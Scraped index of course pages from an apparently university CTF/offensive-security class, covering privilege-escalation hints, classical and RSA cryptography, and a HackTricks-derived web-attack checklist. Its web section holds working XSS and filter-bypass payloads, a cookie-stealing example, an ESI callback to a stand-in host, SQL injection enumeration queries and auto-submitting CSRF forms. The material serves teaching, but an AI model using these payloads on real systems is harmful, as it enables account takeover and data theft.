Answer: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
(replace all x to your answer)
Hint: /etc/shadow is a sensitive file and may contain a user hashed password.
"},{"location":"CS315/2021/Week%2010/#1-pt-root-privilege-escalation","title":"(1 pt) Root privilege escalation","text":"The final step: get root
privilege. What's the content in the root.txt
?
Answer: flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
(replace all x to your answer)
Hint: sudo has some suid things and you should take a look at them.
"},{"location":"CS315/2021/Week%2011/","title":"Week11 CRYPTO: Public Key Crypto Attacking","text":"According to the @CTF101: https://ctf101.org/
Cryptography is the reason we can use banking apps, transmit sensitive information over the web, and in general protect our privacy. However, a large part of CTFs is breaking widely used encryption schemes which are improperly implemented. The math may seem daunting, but more often than not, a simple understanding of the underlying principles will allow you to find flaws and crack the code.
The word \u201ccryptography\u201d technically means the art of writing codes. When it comes to digital forensics, it\u2019s a method you can use to understand how data is constructed for your analysis.
"},{"location":"CS315/2021/Week%2011/#what-is-cryptography-used-for","title":"What is cryptography used for?","text":"Uses in every day software
Malicious uses
Data can be represented in different bases, an 'A' needs to be a numerical representation of Base 2 or binary so computers can understand them
"},{"location":"CS315/2021/Week%2011/#xor-basics","title":"XOR Basics","text":"An XOR or eXclusive OR is a bitwise operation indicated by ^
and shown by the following truth table:
So what XOR'ing bytes in the action 0xA0 ^ 0x2C
translates to is:
0b10001100` is equivelent to `0x8C`, a cool property of XOR is that it is reversable meaning `0x8C ^ 0x2C = 0xA0` and `0x8C ^ 0xA0 = 0x2C\n
"},{"location":"CS315/2021/Week%2011/#what-does-this-have-to-do-with-ctf","title":"What does this have to do with CTF?","text":"XOR is a cheap way to encrypt data with a password. Any data can be encrypted using XOR as shown in this Python example:
>>> data = 'CAPTURETHEFLAG'\n>>> key = 'A'\n>>> encrypted = ''.join([chr(ord(x) ^ ord(key)) for x in data])\n>>> encrypted\n'\\x02\\x00\\x11\\x15\\x14\\x13\\x04\\x15\\t\\x04\\x07\\r\\x00\\x06'\n>>> decrypted = ''.join([chr(ord(x) ^ ord(key)) for x in encrypted])\n>>> decrypted\n'CAPTURETHEFLAG'\n
This can be extended using a multibyte key by iterating in parallel with the data.
"},{"location":"CS315/2021/Week%2011/#exploiting-xor-encryption","title":"Exploiting XOR Encryption","text":""},{"location":"CS315/2021/Week%2011/#single-byte-xor-encryption","title":"Single Byte XOR Encryption","text":"Single Byte XOR Encryption is trivial to bruteforce as there are only 255 key combinations to try.
"},{"location":"CS315/2021/Week%2011/#multibyte-xor-encryption","title":"Multibyte XOR Encryption","text":"Multibyte XOR gets exponentially harder the longer the key, but if the encrypted text is long enough, character frequency analysis is a viable method to find the key. Character Frequency Analysis means that we split the cipher text into groups based on the number of characters in the key. These groups then are bruteforced using the idea that some letters appear more frequently in the english alphabet than others.
"},{"location":"CS315/2021/Week%2011/#substitution-cipher","title":"Substitution Cipher","text":"A Substitution Cipher is system of encryption where different symobls substitute a normal alphabet.
"},{"location":"CS315/2021/Week%2011/#caesar-cipherrot-13","title":"Caesar Cipher/ROT 13","text":"The Caesar Cipher or Caesar Shift is a cipher which uses the alphabet in order to encode texts.
CAESAR` encoded with a shift of 8 is `KIMAIZ` so `ABCDEFGHIJKLMNOPQRSTUVWXYZ` becomes `IJKLMNOPQRSTUVWXYZABCDEFGH\n
ROT13 is the same thing but a fixed shift of 13, this is a trivial cipher to bruteforce because there are only 25 shifts.
"},{"location":"CS315/2021/Week%2011/#vigenere-cipher","title":"Vigenere Cipher","text":"A Vigenere Cipher is an extended Caesar Cipher where a message is encrypted using various Caesar shifted alphabets.
The following table can be used to encode a message:
"},{"location":"CS315/2021/Week%2011/#encryption","title":"Encryption","text":"For example, encrypting the text SUPERSECRET
with CODE
would follow this process:
CODE
gets padded to the length of SUPERSECRET
so the key becomes CODECODECOD
SUPERSECRET
we use the table to get the Alphabet to use, in this instance row C
and column S
U
UISITGHGTSW
C
U
S
SUPERSECRET
Hashing functions are one way functions which theoretically provide a unique output for every input. MD5, SHA-1, and other hashes which were considered secure are now found to have collisions or two different pieces of data which produce the same supposed unique output.
"},{"location":"CS315/2021/Week%2011/#string-hashing","title":"String Hashing","text":"A string hash is a number or string generated using an algorithm that runs on text or data.
The idea is that each hash should be unique to the text or data (although sometimes it isn\u2019t). For example, the hash for \u201cdog\u201d should be different from other hashes.
You can use command line tools tools or online resources such as this one. Example: $ echo -n password | md5 5f4dcc3b5aa765d61d8327deb882cf99
Here, \u201cpassword\u201d is hashed with different hashing algorithms:
Generally, when verifying a hash visually, you can simply look at the first and last four characters of the string.
"},{"location":"CS315/2021/Week%2011/#file-hashing","title":"File Hashing","text":"A file hash is a number or string generated using an algorithm that is run on text or data. The premise is that it should be unique to the text or data. If the file or text changes in any way, the hash will change.
What is it used for? - File and data identification - Password/certificate storage comparison
How can we determine the hash of a file? You can use the md5sum command (or similar).
$ md5sum samplefile.txt\n3b85ec9ab2984b91070128be6aae25eb samplefile.txt\n
"},{"location":"CS315/2021/Week%2011/#hash-collisions","title":"Hash Collisions","text":"A collision is when two pieces of data or text have the same cryptographic hash. This is very rare.
What\u2019s significant about collisions is that they can be used to crack password hashes. Passwords are usually stored as hashes on a computer, since it\u2019s hard to get the passwords from hashes.
If you bruteforce by trying every possible piece of text or data, eventually you\u2019ll find something with the same hash. Enter it, and the computer accepts it as if you entered the actual password.
Two different files on the same hard drive with the same cryptographic hash can be very interesting.
\u201cIt\u2019s now well-known that the cryptographic hash function MD5 has been broken,\u201d said Peter Selinger of Dalhousie University. \u201cIn March 2005, Xiaoyun Wang and Hongbo Yu of Shandong University in China published an article in which they described an algorithm that can find two different sequences of 128 bytes with the same MD5 hash.\u201d
For example, he cited this famous pair:
and
Each of these blocks has MD5 hash 79054025255fb1a26e4bc422aef54eb4.
Selinger said that \u201cthe algorithm of Wang and Yu can be used to create files of arbitrary length that have identical MD5 hashes, and that differ only in 128 bytes somewhere in the middle of the file. Several people have used this technique to create pairs of interesting files with identical MD5 hashes.\u201d
Ben Laurie has a nice website that visualizes this MD5 collision. For a non-technical, though slightly outdated, introduction to hash functions, see Steve Friedl\u2019s Illustrated Guide. And here\u2019s a good article from DFI News that explores the same topic.
"},{"location":"CS315/2021/Week%2011/#rsa","title":"RSA","text":"RSA, which is an abbreviation of the author's names (Rivest\u2013Shamir\u2013Adleman), is a cryptosystem which allows for asymmetric encryption. Asymmetric cryptosystems are alos commonly referred to as Public Key Cryptography where a public key is used to encrypt data and only a secret, private key can be used to decrypt the data.
"},{"location":"CS315/2021/Week%2011/#definitions","title":"Definitions","text":"If public n, public e, private d are all very large numbers and a message m holds true for 0 < m < n, then we can say:
(me)d \u2261 m (mod n)
The triple equals sign in this case refers to modular congruence which in this case means that there exists an integer k such that (me)d = kn + m
RSA is viable because it is incredibly hard to find d even with m, n, and e because factoring large numbers is an arduous process.
"},{"location":"CS315/2021/Week%2011/#implementation","title":"Implementation","text":"RSA follows 4 steps to be implemented: 1. Key Generation 2. Encryption 3. Decryption
"},{"location":"CS315/2021/Week%2011/#key-generation","title":"Key Generation","text":"We are going to follow along Wikipedia's small numbers example in order to make this idea a bit easier to understand.
In This example we are using Carmichael's totient function where \u03bb(n) = lcm(\u03bb(p), \u03bb(q)), but Euler's totient function is perfectly valid to use with RSA. Euler's totient is \u03c6(n) = (p \u2212 1)(q \u2212 1)
Now we have a public key of (3233, 17) and a private key of (3233, 413)
"},{"location":"CS315/2021/Week%2011/#encryption_1","title":"Encryption","text":"With the public key, m can be encrypted trivially
The ciphertext is equal to me mod n or:
c = m^17 mod 3233
"},{"location":"CS315/2021/Week%2011/#decryption_1","title":"Decryption","text":"With the private key, m can be decrypted trivially as well
The plaintext is equal to cd mod n or:
m = c^413 mod 3233
"},{"location":"CS315/2021/Week%2011/#exploitation","title":"Exploitation","text":"From the RsaCtfTool README
Attacks:
A wiser once said: \"every number can be factored to the sum of primes.\"
Try to factor the number and find me some flag.
Checkpoint: what's the first 20 numbers in f(pow(10,6))? Find those numbers and gain 2 points.
Hint: try to convert enc into the binary.
main.py
"},{"location":"CS315/2021/Week%2011/#4-pt-gcd-oracle","title":"(4 pt) GCD Oracle","text":"Some oracle can get you LSB and help solve the challenge. Now break the number N with the GCD Oracle.
Byte
The number N has 8 bits at most. Oracle can give you 10 times of response and then you should give the value of N.
Solving this gives you the checkpoint for 2 points. But you can directly solve the second question and get 4 points.
nc ali.infury.org 10008
Full
The number N has 512 bits at most. If you solve this, don't need to solve the previous question.
Hint: you may need a script to solve the second question.
nc ali.infury.org 10007
main.py
"},{"location":"CS315/2021/Week%2011/#2-pt-rsa-in-the-triangle","title":"(2 pt) RSA in the triangle","text":"A modern public key encryption requires a key pair of 512 bytes usually. Sometimes I just confused about the private key. Therefore, I designed a \"super secure\" method to find me a private key.
Hint: find a faster way to calculate the triangle.
main.py
challenge.txt
"},{"location":"CS315/2021/Week%2012/","title":"Week12 WEB: Attacking Websites","text":"According to @Hacktricks: https://book.hacktricks.xyz/
In every pentest web there is several hidden and obvious places that might be vulnerable. This post is meant to be a checklist to confirm that you have searched vulnerabilities in all the possible places.
"},{"location":"CS315/2021/Week%2012/#top-10-vulnerabilities","title":"Top 10 vulnerabilities","text":"https://owasp.org/www-project-top-ten/
Nowadays web applications usually uses some kind of intermediary proxies, those may be (ab)used to exploit vulnerabilities. These vulnerabilities need a vulnerable proxy to be in place, but they usually also need some extra vulnerability in the backend.
Most of the web applications will allow users to input some data that will be processed later. Depending on the structure of the data the server is expecting some vulnerabilities may or may not apply.
"},{"location":"CS315/2021/Week%2012/#reflected-values","title":"Reflected Values","text":"If the introduced data may somehow being reflected in the response, the page might be vulnerable to several issues.
Some of the mentioned vulnerabilities requires special conditions, others just require the content to be reflected. You can find some interesting polygloths to test quickly the vulnerabilities in:
Reflecting Techniques - PoCs and Polygloths CheatSheet
"},{"location":"CS315/2021/Week%2012/#xss-cross-site-scripting","title":"XSS (Cross Site Scripting)","text":""},{"location":"CS315/2021/Week%2012/#methodology","title":"Methodology","text":"javascript:
protocol?<script>
tag?In order to successfully exploit a XSS the first thing you need to find is a value controlled by you that is being reflected in the web page.
When trying to exploit a XSS the first thing you need to know if where is your input being reflected. Depending on the context, you will be able to execute arbitrary JS code on different ways.
"},{"location":"CS315/2021/Week%2012/#raw-html","title":"Raw HTML","text":"If your input is reflected on the raw HTML page you will need to abuse some HTML tag in order to execute JS code: <img , <iframe , <svg , <script
... these are just some of the many possible HTML tags you could use. Also, keep in mind Client Side Template Injection.
If your input is reflected inside the value of the attribute of a tag you could try:
\"><img [...]
>
is encoded or deleted), depending on the tag you could create an event that executes JS code: \" autofocus onfocus=alert(1) x=\"
\"
is being encoded or deleted), then depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick=
you will be able to make it execute arbitrary code when it's clicked. Another interesting example is the attribute href
, where you can use the javascript:
protocol to execute arbitrary code: href=\"javascript:alert(1)\"
accesskey
trick to abuse the vuln (you will need some kind of social engineer to exploit this): \" accesskey=\"x\" onclick=\"alert(1)\" x=\"
In this case your input is reflected between <script> [...] </script>
tags of a HTML page, inside a .js
file or inside an attribute using javascript:
protocol:
<script> [...] </script>
tags, even if your input if inside any kind of quotes, you can try to inject </script>
and escape from this context. This works because the browser will first parse the HTML tags and then the content, therefore, it won't notice that your injected </script>
tag is inside the HTML code.'-alert(1)-'
';-alert(1)//
\\';alert(1)//
you can **embed JS expressions** using `${ ... }` syntax:
var greetings =`Hello, ${alert(1)}```There is JS code that is using unsafely some data controlled by an attacker like location.href
. An attacker, could abuse this to execute arbitrary JS code.
https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md
"},{"location":"CS315/2021/Week%2012/#universal-xss","title":"Universal XSS","text":"These kind of XSS can be found anywhere. They not depend just on the client exploitation of a web application but on any context. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, read arbitrary files in clients and servers, and more.
Some examples:
https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
https://github.com/carlospolop/hacktricks/blob/master/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md
"},{"location":"CS315/2021/Week%2012/#injecting-inside-raw-html","title":"Injecting inside raw HTML","text":"When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse <
to create new tags: Just try to reflect that char and check if it's being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case. For this cases also keep in mind Client Side Template Injection. Note: A HTML comment can be closed using -->
or --!>
In this case and if no black/whitelisting is used, you could use payloads like:
<script>alert(1)</script>\n<img src=x onerror=alert(1) />\n<svg onload=alert('XSS')>\n
But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create. Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.
"},{"location":"CS315/2021/Week%2012/#tagsevents-brute-force","title":"Tags/Events brute-force","text":"Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
"},{"location":"CS315/2021/Week%2012/#custom-tags","title":"Custom tags","text":"If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus
attribute. In the XSS request, you need to end the URL with #
to make the page focus on that object and execute the code:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x\n
"},{"location":"CS315/2021/Week%2012/#blacklist-bypasses","title":"Blacklist Bypasses","text":"If some kind of blacklist is being used you could try to bypass it with some silly tricks:
//Random capitalization\n<script> --> <ScrIpT>\n<img --> <ImG\n\n//Double tag, in case just the first match is removed\n<script><script>\n<scr<script>ipt>\n<SCRscriptIPT>alert(1)</SCRscriptIPT>\n\n//You can substitude the space to separate attributes for:\n/\n/*%00/\n/%00*/\n%2F\n%0D\n%0C\n%0A\n%09\n\n//Unexpected parent tags\n<svg><x><script>alert('1')</x>\n\n//Unexpected weird attributes\n<script x>\n<script a=\"1234\">\n<script ~~~>\n<script/random>alert(1)</script>\n<script ///Note the newline\n>alert(1)</script>\n<scr\\x00ipt>alert(1)</scr\\x00ipt>\n\n//Not closing tag, ending with \" <\" or \" //\"\n<iframe SRC=\"javascript:alert('XSS');\" <\n<iframe SRC=\"javascript:alert('XSS');\" //\n\n//Extra open\n<<script>alert(\"XSS\");//<</script>\n\n//Just weird an unexpected, use your imagination\n<</script/script><script>\n<input type=image src onerror=\"prompt(1)\">\n\n//Using `` instead of parenthesis\nonerror=alert`1`\n\n//Use more than one\n<<TexTArEa/*%00//%00*/a=\"not\"/*%00///AutOFocUs////onFoCUS=alert`1` //\n
"},{"location":"CS315/2021/Week%2012/#length-bypass-xss-in-20chars","title":"Length bypass (XSS in 20chars)","text":"Taken from the blog of Jorge Lajara.
<svg/onload=alert``>\n<script src=//aa.es>\n<script src=//\u2121\u33db.pw>\n
The last one is using 2 unicode characters which expands to 5: telsr More of these characters can be found here. To check in which characters are decomposed check here. More tiny XSS for different environments payload [can be found here and here.
"},{"location":"CS315/2021/Week%2012/#click-xss-clickjacking","title":"Click XSS - Clickjacking","text":"If in order to exploit the vulnerability you need the user to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).
"},{"location":"CS315/2021/Week%2012/#impossible-dangling-markup","title":"Impossible - Dangling Markup","text":"If you just think that it's impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markup because you could exploit the vulnerability without executing JS code.
"},{"location":"CS315/2021/Week%2012/#xss-abusing-other-vulnerabilities","title":"XSS Abusing other vulnerabilities","text":""},{"location":"CS315/2021/Week%2012/#xss-to-ssrf","title":"XSS to SSRF","text":"Got XSS on a site that uses caching? Try upgrading that to SSRF through Edge Side Include Injection with this payload:
<esi:include src=\"http://yoursite.com/capture\" />\n
Use it to bypass cookie restrictions, XSS filters and much more! More information about this technique here: XSLT.
"},{"location":"CS315/2021/Week%2012/#xss-in-dynamic-created-pdf","title":"XSS in dynamic created PDF","text":"If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code. So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.
https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
If you cannot inject HTML tags it could be worth it to try to inject PDF data:
https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/pdf-injection.md
"},{"location":"CS315/2021/Week%2012/#xss-uploading-files-svg","title":"XSS uploading files (svg)","text":"Upload as an image a file like the following one (from http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808\nContent-Length: 574\n-----------------------------232181429808\nContent-Disposition: form-data; name=\"img\"; filename=\"img.svg\"\nContent-Type: image/svg+xml\n\n<?xml version=\"1.0\" standalone=\"no\"?>\n<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n<svg version=\"1.1\" baseProfile=\"full\" xmlns=\"http://www.w3.org/2000/svg\">\n <rect width=\"300\" height=\"100\" style=\"fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)\" />\n <script type=\"text/javascript\">\n alert(1);\n </script>\n</svg>\n-----------------------------232181429808--\n<svg version=\"1.1\" baseProfile=\"full\" xmlns=\"http://www.w3.org/2000/svg\">\n <script type=\"text/javascript\">alert(\"XSS\")</script>\n</svg>\n<?xml version=\"1.0\" standalone=\"no\"?>\n<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n<svg version=\"1.1\" baseProfile=\"full\" xmlns=\"http://www.w3.org/2000/svg\">\n<polygon id=\"triangle\" points=\"0,0 0,50 50,0\" fill=\"#009900\" stroke=\"#004400\"/>\n<script type=\"text/javascript\">\nalert(\"XSS\");\n</script>\n</svg>\n
"},{"location":"CS315/2021/Week%2012/#xss-resources","title":"XSS resources","text":"https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list https://github.com/ismailtasdelen/xss-payload-list https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec https://netsec.expert/2020/02/01/xss-in-2020.html
"},{"location":"CS315/2021/Week%2012/#xss-tools","title":"XSS TOOLS","text":"Find some tools for XSS here.
"},{"location":"CS315/2021/Week%2012/#search-functionalities","title":"Search functionalities","text":"If the functionality may be used to search some kind of data inside the backend, maybe you can (ab)use it to search arbitrary data.
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behaviour. In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. (From here).
In this POST I'm going to suppose that we have found a possible SQL injection and we are going to discuss possible methods to confirm the SQL injection, recon the database and perform actions.
"},{"location":"CS315/2021/Week%2012/#entry-point-detection","title":"Entry point detection","text":"You may have found a site that is apparently vulnerable to SQLi just because the server is behaving weird with SQLi related inputs. Therefore, the first thing you need to do is how to inject data in the query without breaking it. To do so you first need to find how to escape from the current context. These are some useful examples:
[Nothing]\n'\n\"\n`\n')\n\")\n`)\n'))\n\"))\n`))\n
Then, you need to know how to fix the query so there isn't errors. In order to fix the query you can input data so the previous query accept the new data, or you can just input your data and add a comment symbol add the end.
Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy.
"},{"location":"CS315/2021/Week%2012/#comments","title":"Comments","text":"MySQL\n#comment\n-- comment [Note the space after the double dash]\n/*comment*/\n/*! MYSQL Special SQL */\n\nPostgreSQL\n--comment\n/*comment*/\n\nMSQL\n--comment\n/*comment*/\n\nOracle\n--comment\n\nSQLite\n--comment\n/*comment*/\n\nHQL\nHQL does not support comments\n
"},{"location":"CS315/2021/Week%2012/#confirming-with-logical-operations","title":"Confirming with logical operations","text":"One of the best ways to confirm a SQL injection is by making it operate a logical operation and having the expected results. For example: if the GET parameter ?username=Peter
returns the same content as ?username=Peter' or '1'='1
then, you found a SQL injection.
Also you can apply this concept to mathematical operations. Example: If ?id=1
returns the same as ?id=2-1
, SQLinjection.
page.asp?id=1 or 1=1 -- true\npage.asp?id=1' or 1=1 -- true\npage.asp?id=1\" or 1=1 -- true\npage.asp?id=1 and 1=2 -- false\n
"},{"location":"CS315/2021/Week%2012/#confirming-with-timing","title":"Confirming with Timing","text":"In some cases you won't notice any change on the page you are testing. Therefore, a good way to discover blind SQL injections is making the DB perform actions and will have an impact on the time the page need to load. Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:
MySQL (string concat and logical ops)\n1' + sleep(10)\n1' and sleep(10)\n1' && sleep(10)\n1' | sleep(10)\n\nPostgreSQL (only support string concat)\n1' || pg_sleep(10)\n\nMSQL\n1' WAITFOR DELAY '0:0:10'\n\nOracle\n1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])\n1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)\n\nSQLite\n1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))\n1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))\n
In some cases the sleep functions won't be allowed. Then, instead of using those functions you could make the query perform complex operations that will take several seconds. Examples of these techniques are going to be commented separately on each technology (if any).
"},{"location":"CS315/2021/Week%2012/#identifying-back-end","title":"Identifying Back-end","text":"The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the sleep functions of the previous section or these ones:
[\"conv('a',16,2)=conv('a',16,2)\" ,\"MYSQL\"],\n[\"connection_id()=connection_id()\" ,\"MYSQL\"],\n[\"crc32('MySQL')=crc32('MySQL')\" ,\"MYSQL\"],\n[\"BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)\" ,\"MSSQL\"],\n[\"@@CONNECTIONS>0\" ,\"MSSQL\"],\n[\"@@CONNECTIONS=@@CONNECTIONS\" ,\"MSSQL\"],\n[\"@@CPU_BUSY=@@CPU_BUSY\" ,\"MSSQL\"],\n[\"USER_ID(1)=USER_ID(1)\" ,\"MSSQL\"],\n[\"ROWNUM=ROWNUM\" ,\"ORACLE\"],\n[\"RAWTOHEX('AB')=RAWTOHEX('AB')\" ,\"ORACLE\"],\n[\"LNNVL(0=123)\" ,\"ORACLE\"],\n[\"5::int=5\" ,\"POSTGRESQL\"],\n[\"5::integer=5\" ,\"POSTGRESQL\"],\n[\"pg_client_encoding()=pg_client_encoding()\" ,\"POSTGRESQL\"],\n[\"get_current_ts_config()=get_current_ts_config()\" ,\"POSTGRESQL\"],\n[\"quote_literal(42.5)=quote_literal(42.5)\" ,\"POSTGRESQL\"],\n[\"current_database()=current_database()\" ,\"POSTGRESQL\"],\n[\"sqlite_version()=sqlite_version()\" ,\"SQLITE\"],\n[\"last_insert_rowid()>1\" ,\"SQLITE\"],\n[\"last_insert_rowid()=last_insert_rowid()\" ,\"SQLITE\"],\n[\"val(cvar(1))=1\" ,\"MSACCESS\"],\n[\"IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0\" ,\"MSACCESS\"],\n[\"cdbl(1)=cdbl(1)\" ,\"MSACCESS\"],\n[\"1337=1337\", \"MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL\"],\n[\"'i'='i'\", \"MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL\"],\n
Also, if you have access to the output of the query, you could make it print the version of the database.
A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.
"},{"location":"CS315/2021/Week%2012/#exploiting-union-based","title":"Exploiting Union Based","text":""},{"location":"CS315/2021/Week%2012/#detecting-number-of-columns","title":"Detecting number of columns","text":"If you can see the output of the query this is the best way to exploit it. First of all, wee need to find out the number of columns the initial request is returning. This is because both queries must return the same number of columns. Two methods are typically used for this purpose:
"},{"location":"CS315/2021/Week%2012/#ordergroup-by","title":"Order/Group by","text":"Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
1' ORDER BY 1--+ #True\n1' ORDER BY 2--+ #True\n1' ORDER BY 3--+ #True\n1' ORDER BY 4--+ #False - Query is only using 3 columns\n #-1' UNION SELECT 1,2,3--+ True\n1' GROUP BY 1--+ #True\n1' GROUP BY 2--+ #True\n1' GROUP BY 3--+ #True\n1' GROUP BY 4--+ #False - Query is only using 3 columns\n #-1' UNION SELECT 1,2,3--+ True\n
"},{"location":"CS315/2021/Week%2012/#union-select","title":"UNION SELECT","text":"Select more and more null values until the query is correct:
1' UNION SELECT null-- - Not working\n1' UNION SELECT null,null-- - Not working\n1' UNION SELECT null,null,null-- - Worked\n
You should use null
values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case.
On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table:
#Database names\n-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata\n\n#Tables of a database\n-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]\n\n#Column names\n-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]\n
There is a different way to discover this data on every different database, but it's always the same methodology.
"},{"location":"CS315/2021/Week%2012/#forms-websockets-and-postmsgs","title":"Forms, WebSockets and PostMsgs","text":"When websocket, post message or a form allows user to perform actions vulnerabilities may arise.
Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. This is done by making a logged in user in the victim platform access an attacker controlled website and from there execute *malicious JS code, send forms or retrieve \"images\" to the* victims account.
"},{"location":"CS315/2021/Week%2012/#requisites","title":"Requisites","text":"In order to be able to abuse a CSRF vulnerability you first need to find a relevant action to abuse (change password or email, make the victim follow you on a social network, give you more privileges...). The session must rely only on cookies or HTTP Basic Authentication header, any other header can't be used to handle the session. An finally, there shouldn't be unpredictable parameters on the request.
Several counter-measures could be in place to avoid this vulnerability.
"},{"location":"CS315/2021/Week%2012/#common-defenses","title":"Common defenses","text":"If a CSRF token is being used as defence you could try to exfiltrate it abusing a XSS vulnerability or a Dangling Markup vulnerability.
"},{"location":"CS315/2021/Week%2012/#get-using-html-tags","title":"GET using HTML tags","text":"<img src=\"http://google.es?param=VALUE\" style=\"display:none\" />\n<h1>404 - Page not found</h1>\nThe URL you are requesting is no longer available\n
Other HTML5 tags that can be used to automatically send a GET request are:
"},{"location":"CS315/2021/Week%2012/#form-get-request","title":"Form GET request","text":"<html>\n <!-- CSRF PoC - generated by Burp Suite Professional -->\n <body>\n <script>history.pushState('', '', '/')</script>\n <form method=\"GET\" action=\"https://victim.net/email/change-email\">\n <input type=\"hidden\" name=\"email\" value=\"some@email.com\" />\n <input type=\"submit\" value=\"Submit request\" />\n </form>\n <script>\n document.forms[0].submit();\n </script>\n </body>\n</html>\n
"},{"location":"CS315/2021/Week%2012/#form-post-request","title":"Form POST request","text":"<html>\n <body>\n <script>history.pushState('', '', '/')</script>\n <form action=\"https://victim.net/email/change-email\" id=\"csrfform\">\n <input type=\"hidden\" name=\"email\" value=\"some@email.com\" autofocus onfocus=\"csrfform.submit();\" /> <!-- Way 1 to autosubmit -->\n <input type=\"submit\" value=\"Submit request\" />\n <img src=x onerror=\"csrfform.submit();\" /> <!-- Way 2 to autosubmit -->\n </form>\n <script>\n document.forms[0].submit(); //Way 3 to autosubmit\n </script>\n </body>\n</html>\n
"},{"location":"CS315/2021/Week%2012/#form-post-request-through-iframe","title":"Form POST request through iframe","text":"<!-- \nThe request is sent through the iframe withuot reloading the page \n-->\n<html>\n <body>\n <iframe style=\"display:none\" name=\"csrfframe\"></iframe> \n <form action=\"/change-email\" id=\"csrfform\" target=\"csrfframe\">\n <input type=\"hidden\" name=\"email\" value=\"some@email.com\" autofocus onfocus=\"csrfform.submit();\" />\n <input type=\"submit\" value=\"Submit request\" />\n </form>\n <script>\n document.forms[0].submit();\n </script>\n </body>\n</html>\n
"},{"location":"CS315/2021/Week%2012/#tools","title":"Tools","text":"Depending on the HTTP headers given by the web server some vulnerabilities might be present.
There are several specific functionalities were some workarounds might be useful to bypass them
Some functionalities will require the data to be structured on a very specific format (like a language serialized object or a XML). Therefore, it's more easy to identify is the application might be vulnerable as it needs to be processing that kind of data. Some specific functionalities my be also vulnerable if a specific format of the input is used (like Email Header Injections).
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications.
Deserialization is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.
In many occasions you can find some code in the server side that unserialize some object given by the user. In this case, you can send a malicious payload to make the server side behave unexpectedly.
You should read: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html for learn how to attack.
"},{"location":"CS315/2021/Week%2012/#php","title":"PHP","text":"Magic method used with serialization:
__sleep
is called when an object is serialized and must be returned to arrayMagic method used with deserialization
__wakeup
is called when an object is deserialized.__destruct
is called when PHP script end and object is destroyed.__toString
